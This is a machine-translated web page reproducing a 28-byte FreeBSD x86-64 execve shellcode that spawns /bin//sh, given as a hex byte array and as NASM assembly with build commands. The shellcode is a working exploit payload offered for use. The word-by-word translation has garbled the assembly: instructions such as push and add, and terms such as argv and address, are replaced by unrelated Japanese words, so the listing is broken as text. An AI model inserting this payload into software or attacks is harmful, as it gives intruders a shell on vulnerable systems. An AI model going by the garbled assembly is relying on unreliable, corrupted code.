このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


FreeBSD/x86-64 - execve - 28 bytes
/*
* Gitsnik, @dracyrys
* FreeBSD x86_64 execve, 28 bytes
*
*/

C source:
char code[] = \
"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53"
"\x54\x5f\x52\x57\x54\x5e\x0f\x05";

Intel 議会:

全世界の _start

;
; 28 byte execve FreeBSD x86_64
;
; [gitsnik@bsd64]$ nasm -f elf64 爆撃する.nasm -o 爆撃する.o
; [gitsnik@bsd64]$ ld -o 爆撃する 爆撃する.o
; [gitsnik@bsd64]$ ./爆撃する
; $ 出口
; [gitsnik@bsd64]$
;

section .text

_start:
xor rcx, rcx
mul rcx

追加する al, 0x3b     ; execve()
mov rbx, 0x68732f2f6e69622f ; hs//nib/

; Argument one 爆撃する[0] = "/貯蔵所//sh"
押し進める rdx     ; null
押し進める rbx     ; hs//nib/

; We need pointers for execve()
押し進める rsp     ; *pointer to 爆撃する[0]
pop rdi      ; Argument 1

; Argument two 爆撃する (含むing 演説(する)/住所 of each argument in array)
押し進める rdx     ; null
押し進める rdi     ; 演説(する)/住所 of 爆撃する[0]

; We need pointers for execve()
押し進める rsp     ; 演説(する)/住所 of char * 爆撃する
pop rsi      ; Argument 2

syscall